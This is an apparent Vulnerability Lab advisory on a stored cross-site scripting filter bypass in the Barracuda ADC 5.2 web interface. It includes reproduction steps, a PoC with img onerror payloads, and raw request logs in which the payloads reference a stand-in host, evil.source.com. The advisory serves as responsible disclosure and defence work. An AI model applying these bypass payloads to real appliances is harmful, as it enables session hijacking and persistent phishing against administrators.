Barracuda ADC 5.x Filter Bypass / Cross Site Scripting

`Document Title:  
===============  
Barracuda ADC 5.x - Filter Bypass & Persistent Validation Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1423  
  
  
Release Date:  
=============  
2018-07-09  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1423  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
1.000a! - 2.000a!  
  
  
Product & Service Introduction:  
===============================  
Ensure Application Scalability,Performance, and Security. The Barracuda  
Load Balancer ADC is ideal for organizations looking for  
a high-performance, yet cost-effective application delivery and security  
solution. With the broadest range of hardware and virtual  
models, the Barracuda Load Balancer ADC provides maximum flexibility for  
organizations looking to build highly secure and scalable  
application infrastructure, whether itas deployed on-premises or in the  
cloud.  
  
(Copy of the Vendor Homepage:  
https://www.barracuda.com/products/loadbalancer )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory research team discovered a persistent input  
validation web vulnerability in the Barracuda Networks ADC v5.2.0.004  
appliance web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-10-01: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
No authentication (guest)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Bug Bounty Program  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in  
the official Barracuda networks ADC appliance web-application.  
The application-side vulnerability allows remote attackers and  
privileged user accounts to inject malicious script codes to compromise  
the online service web-application.  
  
The application-side input validation web vulnerability is located in  
the servername value of the Services - Konfigurierte Server  
[Content Rules Add] module. Local low privileged application user  
account can inject malicious script code with persistent attack vector  
to the vulnerable to module. The injection point of the issue is the  
vulnerable add module and the execution of the malicious code occurs  
by the restapi (api) in the Konfigurierte Server (Item Listing) module.  
  
The input form of the appliance web-application are filtered. If an  
attacker injects for example script tags with an alert message to see  
the cookie the execution is prevented. If the attacker uses an iframes,  
embed scripts and img-src tags he will be able to bypass the filter  
to execute own codes.  
  
The security risk of the persistent input validation web vulnerability  
is estimated as medium with a cvss (common vulnerability scoring system)  
count of 3.8. Exploitation of the persistent vulnerability in the  
`Services - Konfigurierte Server [Content Rules Add]` module requires a low  
privileged heroku account with low user interaction. Successful  
exploitation of the vulnerability results in session hijacking, persistent  
phishing attacks, persistent redirect to external source and persistent  
manipulation of affected or connected module context.  
  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Services - Konfigurierte Server [Content Rules Add]  
  
Vulnerable Parameter(s):  
[+] Servername  
  
Affected Module(s):  
[+] Konfigurierte Server (Item Listing) - [API] (restapi)  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by  
remote attackers and local low privileged application user account with  
low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open the barracuda adc web-application  
2. Open the content rules add modules in the left sidebar  
3. Inject own script code payload to the server name value and save the  
input (content rules)  
Note: A refresh returns back to the listing module  
4. The persistent script code execution occurs in listed confirgured  
server information next to the edit button (onlclick)  
5. Successful reproduce of the stored cross site scripting security  
vulnerability!  
  
  
Vulnerable Module(s): Services > Konfigurierte Server > [Servername]  
Request Method(s): POST  
  
  
PoC: Link  
http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest  
  
  
PoC: Source  
<a href="#" data-modal="" data-modal-url="/cgi-mod/index.cgi?  
password=9f1133ed1cee2ea778e8198db3d125e0&et=1422208951&auth_type=Local&locale=de_DE&primary_tab=BASIC&scope=rg_web_server&secondary_tab=r  
g_server_detail&user=guest"  
data-url-param="&scope_data=Corp_Web:192.168.1.4_80&service_name=undefined&server_name=Server_192.168.1.4_80  
">﷐<img  
src="x"  
onerror="alert(/PTEST/)</script">&rule_name=Corp_Web&server_index=0&traffic=0"  
data-modal-title="Edit Server" data-modal-submit-type="PUT"  
data-modal-submit-uri="rule_group_servers"  
data-modal-submit-ids="Content_Routing,undefined,Corp_Web,Server_192.168.1.4_80  
"><img src="x" onerror="alert  
(/PTEST/)</script">" data-m﷯odal-save-label="Anderungen  
speichern" data-modal-cancel-label="Abbrechen"  
data-modal-onclick="return false;">Bearbeiten</a>  
  
  
--- PoC Session Logs [POST] ---  
Status: 201[Created]  
POST  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules  
  
Mime Type[application/json]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
Accept[application/json, text/plain, */*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
X-Requested-With[XMLHttpRequest]  
Authorization[Basic  
ZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]  
Content-Type[application/json;charset=utf-8]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]  
Content-Length[1182]  
Cookie[_ga=GA1.2.608616028.1422207688; _gat=1;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Pragma[no-cache]  
Cache-Control[no-cache]  
POST-Daten:  
  
{"modalAction":"create_rule","group":"Content_Routing","service_name":"Corp_Web","cache":  
{"max_objsize":"256","req_cachehdrs_ignore":"0","negative_responses":"0","expiry_age":"60","file_extensions":"gif,tif,jpg,jpeg,png,bmp,ico,js,jsp,css,jar,swf,pdf"  
,"resp_cachehdrs_ignore":"0","enabled":"0","min_objsize":"256"},"extended_match_sequence":"1000","persistence_cookie_domain":"","status":"1","header_name":"","sou  
rce_ip_netmask":"","comments":""><img src[http://www.evil.source.com  
onerror=alert(/PTEST/)</script>","host_match":""><img  
src=http://www.evil.source.com  
onerror=alert(/PTEST/)</script>","extended_match":"*"><img src=x  
onerror=alert(/PTEST/)</script> undefined (HTTP-Version eq "><img  
src=http://www.evolution-  
sec.com  
onerror=alert(/PTEST/)</script>)","compress":{"min_obj_size":"8192","enabled":"0","content_types":"text/html,text/plain"},"url_match":""><img  
src=x  
onerror=alert(/PTEST/)</script>","persistence_time":"600","failover_method":"LB","persistence_method":"NONE","lb_algorithm":"weighted_round_robin",  
"persistence_cookie_name":"persistence","parameter_name":"","persistence_cookie_security":"0","name":""><img  
src=x onerror=alert(/PTEST/)</script>",  
"persistence_cookie_path":"","persistence_cookie_httponly":"1","cookie_age":""}]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[application/json; charset=utf-8]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
-  
Status: 200[OK]  
GET  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/%22%3E%3Cimg%20src=http://www.evil.source.com%20onerror=alert(/PTEST/)%3C/script%3E  
  
Mime Type[application/json]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
Accept[application/json, text/plain, */*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
X-Requested-With[XMLHttpRequest]  
  
Authorization[BasicZXlKbGRDSTZJakUwTWpJeU1EZzVOVFVpTENKd1lYTnpkMjl5WkNJNkltRTFaalkwWWpnMU0yRmtNelJqTldFMFltTXdZVEpsTVRCagpaVGMwWVRNNUlpd2lkWE5sY2lJNkltZDFaWE4wSW4wPQo6]  
If-Modified-Since[0]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?auth_type=Local&et=1422208913&locale=de_DE&password=031be4109984ca59a98fd56ff6026422&primary_tab=BASIC&secondary_tab=services&user=guest]  
Cookie[_ga=GA1.2.608616028.1422207688; _gat=1;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[application/json; charset=utf-8]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
  
  
Reference(s):  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/content_rules/  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/Corp_Web/  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/virtual_services/  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/Content_Routing/  
http://adc.localhost:8080/restapi/v2/virtual_service_groups/  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a parse and encode of the vulnerable  
content rules input field values.  
Restrict the input and disallow special chars. Filter and parse the item  
listing in the configured server module to prevent an execution.  
Implement a own exception-handling to prevent application-side script  
code executions.  
  
  
Security Risk:  
==============  
The security risk of the persistent input validation web vulnerability  
in the barracuda networks adc appliance  
web-application is estimated as medium (CVSS 3.8).  
  
Note: The issue was reported in 2016 to the barracuda networks developer  
team. The issue was finally resolved in 2017 Q1 - Q4.  
The disclosure process took about 1 year to complete by recognizing the  
patch cycle.  
  
  
Credits & Authors:  
==================  
Benjamin K.M. -  
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
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=========================  
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`